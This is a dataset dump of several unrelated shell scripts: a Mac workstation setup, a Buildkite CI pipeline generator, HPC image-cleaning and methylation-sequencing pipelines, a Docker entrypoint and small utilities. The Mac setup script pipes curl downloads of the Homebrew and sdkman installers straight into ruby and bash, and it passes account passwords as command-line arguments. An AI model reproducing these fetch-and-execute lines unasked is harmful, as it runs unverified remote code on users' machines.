gcloud --project=$GOOGLE_PROJECT_ID --quiet app versions delete $id || echo 'failed. will try again another time'
done
| true
|
ddc7f2ef600a3a68bed1a5508d5fc162e2e20dcb
|
Shell
|
VijayEluri/migdb
|
/scripts/check_config.sh
|
UTF-8
| 727
| 3.78125
| 4
|
[
"MIT"
] |
permissive
|
#!/bin/sh
#check existence of migdb configuration file.
if [ ! -f ~/migdb_config.cfg ]
then
echo Your home folder doesn\'t contain configuration file migdb_config.cfg. Check https://github.com/migdb/migdb/wiki/scripts for help
exit 1
fi
#get working branch
branch=`git branch | grep \* | cut -d' ' -f2`
echo current branch: $branch
#can be modified only for tracked repositories + branches - eg visible by git remote -v
#log changes of configuration file in origin/branch
script_dir=`dirname $0`
i=`git diff origin/$branch..$branch $script_dir/migdb_config.cfg | wc -l | cut -d' ' -f1`
if [ $i -ne 0 ]
then
echo NOTE: migdb_configuration.cfg has changed in branch $branch - update your local settings in it
fi
| true
|
ee96a70057145ad40438210595d398c8cb9ef593
|
Shell
|
elhuhdron/emdrp
|
/pipeline/K0057_D31_dsx3y3z1-run4/volume_clean.sh
|
UTF-8
| 2,725
| 3.15625
| 3
|
[
"MIT"
] |
permissive
|
# run on biowulf in ~/gits/emdrp/recon/python
# script automatically submits jobs with dependencies since all cleaned outputs are written to same hdf5 file.
# NOTE: DO NOT use lscratch, as we want all the subgroups in the same hdf5 file.
OUTD=out_batches/20170727_K0057_run4/clean
no_fill_iter=0
count=0
iter=0
while [ $iter -le 24 ]
do
agglo_iter=`printf '%.8f' $iter`
echo processing $agglo_iter
if [[ ${iter} -ge ${no_fill_iter} ]]; then
# K0057 large agglo cleaning
# NOTE: on next runs change minsize to 64 and change cavity-fill-minsize to 8192
python -u dpCubeIter.py --volume_range_beg 2 8 1 --volume_range_end 50 38 19 --overlap 8 8 8 --cube_size 6 6 6 --cmd "python -u $HOME/gits/emdrp/recon/python/dpCleanLabels.py --dataset labels --subgroups agglomeration $agglo_iter --get-svox-type --cavity-fill --minsize 27 --minsize_fill --cavity-fill-minsize 4096 --ECS-label 0 --dpWriteh5-verbose --dpCleanLabels-verbose" --fileflags srcfile outfile --filepaths /data/CDCU/full_datasets/neon/mfergus32_K0057_ds3_run4/agglo /data/CDCU/full_datasets/neon/mfergus32_K0057_ds3_run4/clean --fileprefixes K0057_D31_dsx3y3z1_supervoxels_agglo K0057_D31_dsx3y3z1_supervoxels_agglo_clean --filepostfixes .h5 .h5 > $OUTD/20170727_K0057_run4_cnt${count}.swarm
else
# K0057 large agglo cleaning no minsize
python -u dpCubeIter.py --volume_range_beg 2 8 1 --volume_range_end 50 38 19 --overlap 8 8 8 --cube_size 6 6 6 --cmd "python -u $HOME/gits/emdrp/recon/python/dpCleanLabels.py --dataset labels --subgroups agglomeration $agglo_iter --get-svox-type --cavity-fill --ECS-label 0 --dpWriteh5-verbose --dpCleanLabels-verbose" --fileflags srcfile outfile --filepaths /data/CDCU/full_datasets/neon/mfergus32_K0057_ds3_run4/agglo /data/CDCU/full_datasets/neon/mfergus32_K0057_ds3_run4/clean --fileprefixes K0057_D31_dsx3y3z1_supervoxels_agglo K0057_D31_dsx3y3z1_supervoxels_agglo_clean --filepostfixes .h5 .h5 > $OUTD/20170727_K0057_run4_cnt${count}.swarm
fi
# writing to same h5 outputs so submit each one with dependency on the last instead of running swarm manually.
# this assumes last output from swarm is the submitted jobid.
cd $OUTD
if [[ ${count} -eq 0 ]]; then
last_job=`swarm -f 20170727_K0057_run4_cnt${count}.swarm -g 32 -t 16 --partition quick --verbose 1 | tail -1`
else
last_job=`swarm -f 20170727_K0057_run4_cnt${count}.swarm -g 32 -t 16 --partition quick --verbose 1 --sbatch " --dependency=afterany:${last_job} " | tail -1`
fi
# trim off any whitespace
last_job=`echo ${last_job} | xargs`
echo swarm submitted for $last_job
cd ../../..
count=`expr $count + 1`
iter=`expr $iter + 2`
done
| true
|
dadc869b7efbc9d1bf35e8ba86e5d5352716ce7d
|
Shell
|
dysmento/dotfiles
|
/newmac.sh
|
UTF-8
| 3,594
| 2.671875
| 3
|
[
"Apache-2.0"
] |
permissive
|
#!/bin/bash
if [ "$#" -ne 2 ]; then
echo "Usage: `basename $0` <github password> <bitbucket password>"
exit 0
fi
# dock preferences
defaults write com.apple.dock autohide 1
defaults write com.apple.dock largesize 64
defaults write com.apple.dock magnification 1
defaults write com.apple.dock mineffect scale
defaults write com.apple.dock orientation right
# map the caps lock key to control!
# TODO: get the keyboard identifier programmatically
defaults -currentHost write -g com.apple.keyboard.modifiermapping.1452-575-0 -array-add '<dict><key>HIDKeyboardModifierMappingDst</key><integer>2</integer><key>HIDKeyboardModifierMappingSrc</key><integer>0</integer></dict>'
# create an ssh key
[ -f ~/.ssh/id_rsa.pub ] && echo "SSH key created already" \
|| ssh-keygen -q -t rsa -N "" -C "zach.thomas@inin.com" -f "$HOME/.ssh/id_rsa"
# accept XCode license
xcode-select --install
# TODO: get settings.xml for maven
# TODO: get Cisco VPN client at https://indvpn.inin.com
# TODO: install Microsoft Office
# install Homebrew
[ -d /usr/local/Cellar ] && echo "homebrew installed already" \
|| /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"
# all the best shell stuff
brew install \
tree \
ag \
maven \
git \
zsh \
wget \
awscli \
httpie \
tmux \
boot-clj \
jq
brew tap railwaycat/homebrew-emacsmacport
brew install emacs-mac --with-spacemacs-icon
brew linkapps
# git config
# TODO: should we just be using mackup for all the configuration?
git config --global user.name "Zach A. Thomas"
git config --global user.email "zach.thomas@inin.com"
git config --global github.user dysmento
git config --global color.ui true
git config --global push.default simple
# add your new public key to github and bitbucket
http -a "dysmento:$1" https://api.github.com/user/keys title=`hostname` key="`cat ~/.ssh/id_rsa.pub`"
http -a "zathomas:$2" https://api.bitbucket.org/1.0/users/zathomas/ssh-keys accountname=zathomas key="`cat ~/.ssh/id_rsa.pub`" label=`hostname`
# spacemacs, emacs and vim forever!
[ -d ~/.emacs.d ] && echo "emacs configured already" \
|| git clone https://github.com/syl20bnr/spacemacs ~/.emacs.d
# sdkman
[ -d ~/.sdkman ] && echo "sdkman configured already" \
|| curl -s get.sdkman.io | bash
# get solarized
[ -f ~/solarized.zip ] && echo "solarized already downloaded" \
|| curl -O http://ethanschoonover.com/solarized/files/solarized.zip
# add brew support for fonts
brew tap caskroom/fonts
# install casks
brew cask install \
font-anonymous-pro \
launchbar \
opera \
1password \
amazon-music \
dropbox \
viscosity \
nvalt \
java \
intellij-idea
# prezto
[ -d ~/.zprezto ] && echo "prezto configured already" || ~/dotfiles-master/prezto.sh
# login items
osascript -e 'tell application "System Events" to make new login item at end with properties {path:"/Users/zach/Applications/LaunchBar.app", name:"LaunchBar", hidden:true}'
osascript -e 'tell application "System Events" to make new login item at end with properties {path:"/Users/zach/Applications/Dropbox.app", name:"Dropbox", hidden:true}'
osascript -e 'tell application "System Events" to make new login item at end with properties {path:"/Users/zach/Applications/Viscosity.app", name:"Viscosity", hidden:true}'
osascript -e 'tell application "System Events" to log out'
| true
|
c14a345f2a7dc8609e2704de5a760c87b5a038af
|
Shell
|
NetBSD/pkgsrc-wip
|
/newsboat213/patches/patch-config.sh
|
UTF-8
| 704
| 2.75
| 3
|
[] |
no_license
|
$NetBSD$
Remove overly "smart" detection script for ncurses. This doesn't work on NetBSD.
If libstfl is linked against the system-wide curses, you can't later link against
ncurses. Newsboat can use the ncursesw compat offered by NetBSD 6.x native curses.
--- config.sh.orig 2017-12-25 17:49:35.000000000 +0000
+++ config.sh
@@ -106,6 +106,8 @@ check_pkg "stfl" || fail "stfl"
if [ `uname -s` = "Darwin" ]; then
check_custom "ncurses5.4" "ncurses5.4-config" || fail "ncurses5.4"
+elif [ `uname -s` = "NetBSD" ]; then
+ echo "Assuming native NetBSD curses should be used"
elif [ `uname -s` != "OpenBSD" ]; then
check_pkg "ncursesw" || \
check_custom "ncursesw5" "ncursesw5-config" || \
| true
|
db28bfcf55639ecabfc6e5e086f7507d54ee917a
|
Shell
|
atang42/batfish
|
/.buildkite/pipeline.sh
|
UTF-8
| 4,867
| 3.1875
| 3
|
[
"Apache-2.0"
] |
permissive
|
#!/usr/bin/env bash
### Build and quick lint
set -euo pipefail
BATFISH_ARTIFACTS_PLUGIN_VERSION="${BATFISH_ARTIFACTS_PLUGIN_VERSION:-v1.4.0}"
BATFISH_DOCKER_PLUGIN_VERSION="${BATFISH_DOCKER_PLUGIN_VERSION:-v3.9.0}"
BATFISH_DOCKER_CI_BASE_IMAGE="${BATFISH_DOCKER_CI_BASE_IMAGE:-docker.io/batfish/ci-base:c21e89b-89cdebc6f9}"
cat <<EOF
steps:
EOF
###### WAIT before starting any of the jobs.
cat <<EOF
- wait
EOF
###### Initial checks plus building the jar
cat <<EOF
- label: ":java: Formatting"
key: format
command: "tools/fix_java_format.sh --check"
plugins:
- docker#${BATFISH_DOCKER_PLUGIN_VERSION}:
image: ${BATFISH_DOCKER_CI_BASE_IMAGE}
always-pull: true
- label: ":json: Templates"
key: template
command:
- "python3 -m virtualenv .venv"
- ". .venv/bin/activate"
- "python3 -m pip install pytest"
- "cd tests && pytest"
plugins:
- docker#${BATFISH_DOCKER_PLUGIN_VERSION}:
image: ${BATFISH_DOCKER_CI_BASE_IMAGE}
always-pull: true
- label: ":mvn: Build"
key: jar
command:
- "mkdir workspace"
- "mvn -f projects package"
- "cp projects/allinone/target/allinone-bundle-*.jar workspace/allinone.jar"
artifact_paths:
- workspace/allinone.jar
plugins:
- docker#${BATFISH_DOCKER_PLUGIN_VERSION}:
image: ${BATFISH_DOCKER_CI_BASE_IMAGE}
always-pull: true
EOF
###### Build tests and code static analysis
cat <<EOF
- label: ":mvn: :junit: :coverage: Tests + Coverage"
key: junit
depends_on:
- format
- template
command:
- mvn -f projects/pom.xml test -DskipTests=false -Djacoco.skip=false
- mkdir -p workspace
- rsync -zarv --prune-empty-dirs --include '*/' --include 'jacoco*.exec' --exclude '*' projects/ workspace/
artifact_paths:
- workspace/**/jacoco.exec
plugins:
- docker#${BATFISH_DOCKER_PLUGIN_VERSION}:
image: ${BATFISH_DOCKER_CI_BASE_IMAGE}
always-pull: true
- label: ":mvn: Checkstyle, findbugs, dependency"
depends_on:
- format
- template
command: "mvn -f projects/pom.xml verify -Dcheckstyle.skip=false -Dmdep.analyze.skip=false -Dfindbugs.skip=false"
plugins:
- docker#${BATFISH_DOCKER_PLUGIN_VERSION}:
image: ${BATFISH_DOCKER_CI_BASE_IMAGE}
always-pull: true
- label: ":mvn: Javadoc"
depends_on:
- format
- template
command: "mvn -f projects/pom.xml verify -Dmaven.javadoc.skip=false"
skip: True
plugins:
- docker#${BATFISH_DOCKER_PLUGIN_VERSION}:
image: ${BATFISH_DOCKER_CI_BASE_IMAGE}
always-pull: true
EOF
###### Ensure the code compiles with Bazel
cat <<EOF
- label: ":bazel: Build and test"
command:
- "python3 -m virtualenv .venv"
- ". .venv/bin/activate"
- "bazel test --test_output=errors --test_tag_filters=-pmd_test --build_tag_filters=-pmd_test -- //..."
plugins:
- docker#${BATFISH_DOCKER_PLUGIN_VERSION}:
image: ${BATFISH_DOCKER_CI_BASE_IMAGE}
always-pull: true
volumes:
- $HOME/.bazelrc:/home/batfish/.bazelrc
EOF
###### PMD
cat <<EOF
- label: ":bazel: PMD"
depends_on:
- format
- template
command:
- "python3 -m virtualenv .venv"
- ". .venv/bin/activate"
- "bazel test --test_output=errors --test_tag_filters=pmd_test -- //..."
plugins:
- docker#${BATFISH_DOCKER_PLUGIN_VERSION}:
image: ${BATFISH_DOCKER_CI_BASE_IMAGE}
always-pull: true
volumes:
- $HOME/.bazelrc:/home/batfish/.bazelrc
EOF
###### Ref tests
# TODO: consider parallel builds for this?
# https://buildkite.com/docs/tutorials/parallel-builds#parallel-jobs
REFS=$(find tests -name commands)
for cmd in ${REFS}; do
cat <<EOF
- label: ":batfish: ${cmd} ref tests"
key: "ref-${cmd//\//-}"
depends_on: jar
command: ".buildkite/ref_test.sh ${cmd}"
plugins:
- docker#${BATFISH_DOCKER_PLUGIN_VERSION}:
image: ${BATFISH_DOCKER_CI_BASE_IMAGE}
always-pull: true
- artifacts#${BATFISH_ARTIFACTS_PLUGIN_VERSION}:
download: workspace/allinone.jar
artifact_paths:
- workspace/**/jacoco.exec
EOF
done
###### Code coverage
cat <<EOF
- label: ":coverage: Report coverage"
depends_on:
- junit
EOF
for cmd in ${REFS}; do
cat <<EOF
- "ref-${cmd//\//-}"
EOF
done
cat <<EOF
command:
- ".buildkite/jacoco_report.sh"
plugins:
- docker#${BATFISH_DOCKER_PLUGIN_VERSION}:
image: "${BATFISH_DOCKER_CI_BASE_IMAGE}"
always-pull: true
propagate-environment: true
- artifacts#${BATFISH_ARTIFACTS_PLUGIN_VERSION}:
download:
- "workspace/**/jacoco.exec"
- "workspace/allinone.jar"
soft_fail: true
EOF
| true
|
1adec2bd795e7173162ef11cfde274167d8f2d3b
|
Shell
|
guoyu07/provenance-analysis
|
/apt_check.sh
|
UTF-8
| 232
| 2.890625
| 3
|
[] |
no_license
|
#!/bin/bash
# List all current installed packages that managed by APT
echo "package_name,installed_version,architecture,latest_version"
apt list --installed | sed -nr 's_(.*)/(.*) (.*) (.*) (.*)upgradable to: (.*)]_\1,\3,\4,\6_p'
| true
|
4a32eac23ea63a8d0e0247636fc1143c42c2838e
|
Shell
|
tomwilkie/scope
|
/docker/entrypoint.sh
|
UTF-8
| 1,659
| 3.921875
| 4
|
[
"Apache-2.0"
] |
permissive
|
#!/bin/sh
usage() {
echo "$0 --dns <IP> --hostname <NAME> --searchpath <SEARCHPATH> --app.foo bar --probe.foo bar"
exit 1
}
# This script exists to modify the network settings in the scope containers
# as docker doesn't allow it when started with --net=host
APP_ARGS=""
PROBE_ARGS=""
while true; do
case "$1" in
--dns)
[ $# -gt 1 ] || usage
DNS_SERVER="$2"
shift 2
;;
--searchpath)
[ $# -gt 1 ] || usage
SEARCHPATH="$2"
shift 2
;;
--app.*)
[ $# -gt 1 ] || usage
ARG_NAME=$(echo "$1" | sed 's/\-\-app\.//')
ARG_VALUE="$2"
shift 2
APP_ARGS="$APP_ARGS -$ARG_NAME=$ARG_VALUE"
;;
--probe.*)
[ $# -gt 1 ] || usage
ARG_NAME=$(echo "$1" | sed 's/\-\-probe\.//')
ARG_VALUE="$2"
shift 2
PROBE_ARGS="$PROBE_ARGS -$ARG_NAME=$ARG_VALUE"
;;
*)
break
;;
esac
done
mkdir -p /etc/weave
echo "$APP_ARGS" >/etc/weave/app.args
echo "$PROBE_ARGS" >/etc/weave/probe.args
if [ -n "$DNS_SERVER" -a -n "$SEARCHPATH" ]; then
echo "domain $SEARCHPATH" >/etc/resolv.conf
echo "search $SEARCHPATH" >>/etc/resolv.conf
echo "nameserver $DNS_SERVER" >>/etc/resolv.conf
fi
# End of the command line can optionally be some
# addresses of probes to connect to, for people not
# using Weave DNS. We stick these in /etc/weave/probes
# for the run-app script to pick up.
MANUAL_PROBES=$@
echo "$MANUAL_PROBES" >/etc/weave/probes
exec /sbin/runsvdir /etc/service
| true
|
007e337d4eae8397576c473f00aa283d42c0c6ad
|
Shell
|
ujagaga/OpenWrt_Network_Setup
|
/router/email
|
UTF-8
| 360
| 3.390625
| 3
|
[] |
no_license
|
#!/bin/sh
# Custom email sending script. It sends e-mail with predefined
# title, recepient and sender info. Uses email_template and adds content.
# usage email "message to send"
RECEPIENT="user@gmail.com"
TEMPLATE="email_template"
DIR=$(readlink -f "$0" | xargs dirname)
cd $DIR
cp $TEMPLATE /tmp/
echo "$1">> /tmp/$TEMPLATE
ssmtp $RECEPIENT < /tmp/$TEMPLATE
| true
|
14c56395ec708d24b1265ee9b663a302d508442d
|
Shell
|
nabiuddin6/scripts-1
|
/GTD/turls
|
UTF-8
| 783
| 3.46875
| 3
|
[] |
no_license
|
#!/bin/bash
###################################################################################
# Shows list of tasks in taskwarrior belonging to projects that reference URLs. #
###################################################################################
prompt="All(a), Blogs(b), Docs(d), or Videos(v)?: "
if [[ -z "$1" ]]; then
read -n 1 -p "$prompt" choice
else
choice="$1"
fi
case "${choice,,}" in
'a' )
filter="( project:Blogs or project:Study.Docs or project:Videos )";;
'b' )
filter="project:Blogs";;
'd' )
filter="project:Study.Docs";;
'v' )
filter="project:Videos";;
* )
exit 1;;
esac
clear
task rc.context=none rc.verbose=blank,label rc.defaultwidth:$COLUMNS $filter -COMPLETED -DELETED all
| true
|
a863e48691edd085e38e74c7ac0fd5ef257ce11a
|
Shell
|
den1den/adaptive_cruise_control
|
/ISO_model/scripts/schemes/check.sh
|
UTF-8
| 743
| 2.953125
| 3
|
[
"MIT"
] |
permissive
|
#!/usr/bin/env bash
# https://www.npmjs.com/package/pajv
# pajv -s interpretation_scheme.json -d ../interpretation.yaml
cd ~/Dropbox/0cn
. venv/bin/activate
export PYTHONPATH=.
function _check {
pajv -s $1 -d $2 --verbose
# --errors=js --all-errors
}
# Compile all schemes again
for scheme_source in ISO_model/schemes/*_scheme.py
do
type=$(basename ${scheme_source%_*})
scheme=ISO_model/generated/${type}_scheme.json
python ${scheme_source} > ${scheme}
done
_check ISO_model/generated/interpretation_scheme.json ISO_model/interpretation.yaml
_check ISO_model/generated/simple_model_inst_list_scheme.json ISO_model/work_products.json
_check ISO_model/generated/simple_model_inst_list_scheme.json ISO_model/clauses.json
| true
|
921103019f7951f223e7a3731da43467e82410a4
|
Shell
|
strigo/ami-bakery-linuxdesktop
|
/community/ubuntu18/install.sh
|
UTF-8
| 330
| 2.53125
| 3
|
[] |
no_license
|
#!/bin/bash -e
# This is based off of https://linuxize.com/post/how-to-install-xrdp-on-ubuntu-18-04/
apt-get update -y
apt-get upgrade -y
apt install xrdp xorg dbus-x11 x11-xserver-utils -y
# Skip this if xcfe is already installed.
apt install xfce4 xfce4-goodies -y
adduser xrdp ssl-cert
systemctl restart xrdp
ufw allow 3389
| true
|
05a63019ac6a83a92e522d1f5329651222149770
|
Shell
|
simhaonline/fireguard
|
/.ci/functional_test.sh
|
UTF-8
| 621
| 2.875
| 3
|
[
"Apache-2.0"
] |
permissive
|
#!/usr/bin/env bash
set -x
sudo apt-get update
sudo apt-get install -y postgresql \
wireguard iptables net-tools curl ca-certificates
sudo systemctl start postgresql
sudo dpkg -i fireguard*.deb
echo "Enabling service..."
sudo systemctl start fireguard
# Wait for app to start
sleep 10
echo "Service status..."
sudo systemctl status fireguard.service
echo "Printing service logs..."
sudo journalctl -u fireguard.service
echo "Trying to load homepage..."
curl -i -vvv -k https://$(hostname):8800/
echo "Printing SSL debug info"
openssl s_client -connect $(hostname):8800 -servername $(hostname) -showcerts -prexit
| true
|
60a4fbb226e70ba4685fa085e0bb3ec94fc1dc07
|
Shell
|
nyambati/dotfiles-deprecated
|
/lib/ansible
|
UTF-8
| 520
| 3.734375
| 4
|
[] |
no_license
|
#!/usr/bin/env bash
system::ansible::install_ansible_roles() {
require_variable ANSIBLE_REQUIREMENTS
require_variable ANSIBLE_ROLES_PATH
if ! system::util::type_exists ansible-galaxy; then
echo "Command does not exist"
exit 1
fi
if [ ! -e "$ANSIBLE_REQUIREMENTS" ]; then
error "ERROR: Ansible Galaxy requirements file not found"
exit 1
fi
warning "Installing Ansible roles with Ansible Galaxy"
ansible-galaxy install \
-r $ANSIBLE_REQUIREMENTS \
-p $ANSIBLE_ROLES_PATH $@
}
| true
|
ef4290227ec01376353b9c17575bc4c125b61273
|
Shell
|
SpuzzSomchai/scripts
|
/build Android/v2/myupload.sh
|
UTF-8
| 1,395
| 3.109375
| 3
|
[
"MIT"
] |
permissive
|
#!/usr/bin
enviar_sourceforge() {
if [ "$ROM" = "rr" ] ; then
cd ~/rr/out/target/product/sanders
echo -e ${ylw}"\n\n ▼ ROM está sendo enviada para sourceforge?\n"${txtrst}
scp RR*.zip j144df@frs.sourceforge.net:/home/frs/project/j144df/sanders/
fi
}
enviar_alteracoes() {
modirDev=~/apps/devx12/rr
nomeDev=novidades
if [ -d $modirDev/$nomeDev ] ; then
echo -e ${ylw}"\n ▼$nomeDev \n"${txtrst}
cd $modirDev/$nomeDev
cp -a -R ~/rr/CHANGELOG.mkdn $modirDev/$nomeDev/MotoG5sPlus.xml
git add -A
echo "OTA Update for RR $DEVICE $(date +%Y%m%d) Build" > /tmp/rrota
git commit -as -F /tmp/rrota
git push origin master
cd -
rm -fv /tmp/rrota
else
git clone https://github.com/devx12/changelogs -b master $modirDev/$nomeDev
fi
}
enviar_adb() {
cd ~/rr/out/target/product/sanders
RRZIP="$(ls RR*.zip)";
adb push $RRZIP /sdcard/Download
adb reboot recovery
}
enviar_afh() {
if [ "$ROM" = "rr" ] ; then
cd ~/rr/out/target/product/sanders
#echo -e ${ylw}"\n\n ▼ ROM está sendo enviada para AFH?\n"${txtrst}
curl -T RR*.zip ftp://uploads.androidfilehost.com --user j144df:PTVWatWG2rbA
fi
}
sync_gdriveDaTurma() {
caminho=~/etc/documentos/G-Drive/turma/4°\ SEMESTRE\ Apostilas\ \|\ 2018
turma=Estrutura\ de\ Dados/
echo -e ${ylw}"\n ▼$caminho \n"${txtrst}
cd $caminho/$turma
git clone https://bitbucket.org/wesleyqueiroz -b master bitbucket
}
| true
|
5767bd217c80f45ae249de9146c2da4ece2c4de7
|
Shell
|
BCDigLib/fcrepo-reporting-utilities
|
/countFedoraObjectsAndDatastreams.sh
|
UTF-8
| 1,004
| 2.6875
| 3
|
[] |
no_license
|
#/bin/bash
# -edf 2014-0908
FedoraUser=fedoraAdminUser
FedoraUserPassword=fedoraAdminPassword
FedoraHostname="http://yourserver.domain.net" # example http://fedora.coalliance.org
FedoraPort=":8080"
FedoraContext="/fedora"
FedoraServer="$FedoraHostname$FedoraPort$FedoraContext"
resultObject=$(curl -s -u $FedoraUser:$FedoraUserPassword -X POST "$FedoraServer/risearch?type=tuples&lang=sparql&format=count&dt=on&query=SELECT%20%3Fobj%20FROM%20%3C%23ri%3E%20WHERE%20%7B%20%3Fobj%20%3Cinfo%3Afedora%2Ffedora-system%3Adef%2Fmodel%23hasModel%3E%20%3Cinfo%3Afedora%2Ffedora-system%3AFedoraObject-3.0%3E%20.%20%20%7D")
echo "$FedoraHostname - $resultObject objects"
resultDatastream=$(curl -s -u $FedoraUser:$FedoraUserPassword -X POST "$FedoraServer/risearch?type=tuples&lang=sparql&format=count&dt=on&query=SELECT%20%3Fobj%20%3Fds%20FROM%20%3C%23ri%3E%20WHERE%20%7B%3Fobj%20%3Cinfo%3Afedora%2Ffedora-system%3Adef%2Fview%23disseminates%3E%20%3Fds%20.%20%7D")
echo "$FedoraHostname - $resultDatastream datastreams"
| true
|
8da780411d88c8ef8ce740a6c342ca0689a74db6
|
Shell
|
jadinvt/davis_clanin
|
/scripts/rotate_pics.sh
|
UTF-8
| 234
| 2.6875
| 3
|
[] |
no_license
|
export y=$1
shift
for x in $@ ; do
convert img_${x}_large.jpg -rotate $y img_${x}_large.jpg;
convert img_${x}_medium.jpg -rotate $y img_${x}_medium.jpg;
convert img_${x}_small.jpg -rotate $y img_${x}_small.jpg;
done
| true
|
413017f0bb7e2d149c8650f3206285613f3abc10
|
Shell
|
google-code/auroral-resources-toolkit
|
/source/resource/scenejs_embedded/js/compress_js
|
UTF-8
| 109
| 2.90625
| 3
|
[] |
no_license
|
#!/usr/bin/env bash
js=`find . -name '*.js'`
for file in ${js[*]}
do
gzip -9 -c "$file" > "$file.gz"
done
| true
|
795644f999c1ce632665c448fe781a57eac573ef
|
Shell
|
amanos1022/youtube-dl-queue
|
/yt-queue-processor.sh
|
UTF-8
| 761
| 3.625
| 4
|
[] |
no_license
|
#!/bin/bash
input="$HOME/Testing/bash/yt-video-queue"
dir="$HOME/Videos/Organize/"
if [ "$1" = "music" ]; then
input="$HOME/Testing/bash/yt-music-queue"
dir="$HOME/Music/Organize/"
fi
while IFS= read -r line
do
while read url subDir
do
if [ -z "$subDir" ]; then
dir="$vidDir"
else
dir="$dir$subDir"
if [ ! -d "$dir" ]; then
mkdir "$dir"
fi
fi
# Download
echo "Downloading $url to $dir"
cd "$dir"
/usr/local/bin/youtube-dl "$url";
# REmove Line
escapedUrl=$(echo "$line" | sed 's#/#\\/#g')
echo "Deleting $escapedUrl"
sed -i "/$escapedUrl/d" "$input"
done <<< "$line"
done < "$input"
| true
|
a3cf9c6c5917a074043f84cc52cc6f2dccc18ccd
|
Shell
|
Jacobog02/Maslenlab_Thesis
|
/scripts/jg_bismark_alignment/DECIDE_mcseq_align_pipeline.sh
|
UTF-8
| 6,827
| 3.09375
| 3
|
[] |
no_license
|
#!/bin/bash
##### PURPOSE #####
## Jacob Gutierrez guteirja@ohsu.edu
## Reused 3/29/20
## The purpose of this file is to intitialize the probe validation program. PREVIOUSLY
# This script is now the dependecy file for the preprocessing of the raw methyl-capture sequencing data.
# Analysis Pipeline:
## 0) Create Mappign File from excel: Python pandas
## 1) raw sequencing : Fastqc
## 2) read triming : Trimegalore (cutadapt + fastqc)
## 3) Alignment : Bismark (bowtie2)
## 4) Sorting & Indexing : Samtools
# Could consider manually setting the probe_bed file
## Requires the Experiment setup portion to be specified (perhaps consider making command line
## AND! a formatted file of of the source bams and the new file names to simplify. Manually formated.
# Run by sbatch probe_pipeline.sh in a wrapper script that includes the experiment specific information.
##### SBATCH INITALIZATION #####
#SBATCH -p exacloud # partition (queue) (exacloud, long_jobs)
#SBATCH -N 1 # number of nodes
#SBATCH -n 2 # number of cores
#SBATCH --mem 2400 # memory pool for all cores
#SBATCH -t 0-02:00 # time (D-HH:MM)
#SBATCH -o ./out/source.%A_%a.out # Standard output
#SBATCH -e ./err/source.%A_%a.err # Standard error
#### Experiment Set up #####
echo Depedency Script
#### Set Job limit for parallelized jobs#####
joblim=24
#### Exported Variables that live in the void #####
# Excel mapping file for all experiments
# excel #Excel mapping file.
# common name for experiment
# expname=ECP4 # String for the experiment name to be used for standard output notation no spaces andbest if its short.
# Formatted Arguements file can be used for all processes just make it focus on new name
## This is generated from the excel file!
# args_file=/home/groups/hoolock2/u0/jg/thesis/sa1/${expname}/${expname}_mapping.txt # Absolute path to argument files (colon delimited)
# Where the source raw fastq files live
# sourcedir=/home/groups/hoolock2/u0/archive/Epigenetics_Core_rawdata/ECP4 # Absolute path to the directory where the original fastq files are contained
# Where the output be placed
#wrkdir=/home/groups/hoolock2/u0/jg/thesis/sa1/${expname}/ # Absolute path to the directory to be used for output writing
## Where the neccesary scripts to run the pipeline live
# script_dir=/home/groups/hoolock2/u0/jg/thesis/scripts/ # Absolute path to directory for the pipeline scripts
##### Export Software and Functions #####
## JG 4/1/20: I started using a unified conda environment to simply function calls.
#export exa_opt=/opt/installed/ # Exacloud stuff but I will use my conda enviroment
#1) fastqc
#export exafastqc=${exa_opt}/fastqc/fastqc
export exafastqc=/home/groups/hoolock2/u0/jg/thesis/env/methylseq/bin/fastqc # I can just say fastqc bc it is on the path
#2) Trimegalore
#export exa_trimg=/home/exacloud/lustre1/BioCoders/Applications/trim_galore
export exa_trimg=/home/groups/hoolock2/u0/jg/thesis/env/methylseq/bin/trim_galore
#export exa_cut=~/.local/bin/cutadapt
#3) Bismark Alignment
# Bismark
export bispath=/home/groups/hoolock2/u0/jg/thesis/env/methylseq/bin/bismark # Newly installed bismark
## Consider putting bismark in the environment
# Human Genome (CHECK TO SEE IF BISULFITE CONVERTED)
export hg38=/home/groups/hoolock2/u0/jg/thesis/human_genome
#4) Sort and Index.
export exa_sam=/opt/installed/samtools-1.6/bin/samtools
##### Functions ####
## Check success function queries slurm based on passed jobids and ends tasks if a previous failure was detected.
check_success () {
echo inside check success
#echo "$@"
for task in "$@"; do
#echo $task
if [ $task != "COMPLETED" ]; then
#echo stopping script here
exit 1 # fail here? Or MAYBE try scancel
fi
done
}
export -f check_success
## Build sbatch command
format_sbatch() {
#outerrsbatch='sbatch --output=./out/'${expname}'.'$1'.%A_%a.out --error=./err/'${expname}'.'$1'.%A_%a.err '
echo 'sbatch --account '$slurm_acct' --job-name='${expname}'_'$1'%'${joblim}' --output=./slurmout/'${expname}'.'$1'.%A_%a.out --error=./slurmerr/'${expname}'.'$1'.%A_%a.err'
}
#format_sbatch rawrxd
####### END OF FUNCTIONS #####
###### Base SBATCH function #####
#outerrsbatch='sbatch --output=./slurmout/'${expname}'.'`${delim}`'.%A_%a.out --error=./slurmerr/'${expname}'.'`${delim}`'.%A_%a.err '
##### Create Mapping File and Find Number of File (nodes) TO call#####
if [ ! -f $args_file ]; then
$script_dir/create_args.py $args_file $excel $expname
else
## CHECK THE SECOND VARIABLE FOR IT TO EXIST
ARGS=`head -2 $args_file | tail -1`
# set variables based on the output of the line ARGS
IFS=: read CHECK <<< $ARGS
fi
# Find number of files
filenum=`cat $args_file | wc -l`
#### Raw FastQC #####
echo Raw FastQC
base_sbatch=`format_sbatch rawqc` # set prefix
rawqc=$($base_sbatch \
--array=1-${filenum} \
$script_dir/fastqc_batch.sh)
rawqc=${rawqc##* }
echo $rawqc
#### TimeGalore #####
echo Read Trimming
base_sbatch=`format_sbatch trim` # set prefix
trim=$($base_sbatch \
--dependency=afterany:${rawqc} \
--array=1-${filenum} \
$script_dir/trimgalore_batch.sh)
trim=${trim##* }
echo $trim
#### Alginment #####
echo Aligning to hg38 assembly
#### Sorting and Indexing #####
## This is a main dependency no other process can occur if this doesnt happen successfully. The secret is to query $? which is the exit status of the previous program using the following code repeated for each id
#sacct -j 10576550 --format State | grep -v [S/-] | tr -d ' ' gives FAILED or SUCCESSFUL check for the latter
## Start first job here requires working directory and the arguments filei
## I will save this into a special command
#outerrsbatch='sbatch --output=./out/'${expname}'.srt.%A_%a.out --error=./err/'${expname}'.srt.%A_%a.err '
#sortid=$($outerrsbatch \
#--array=1-${filenum} \
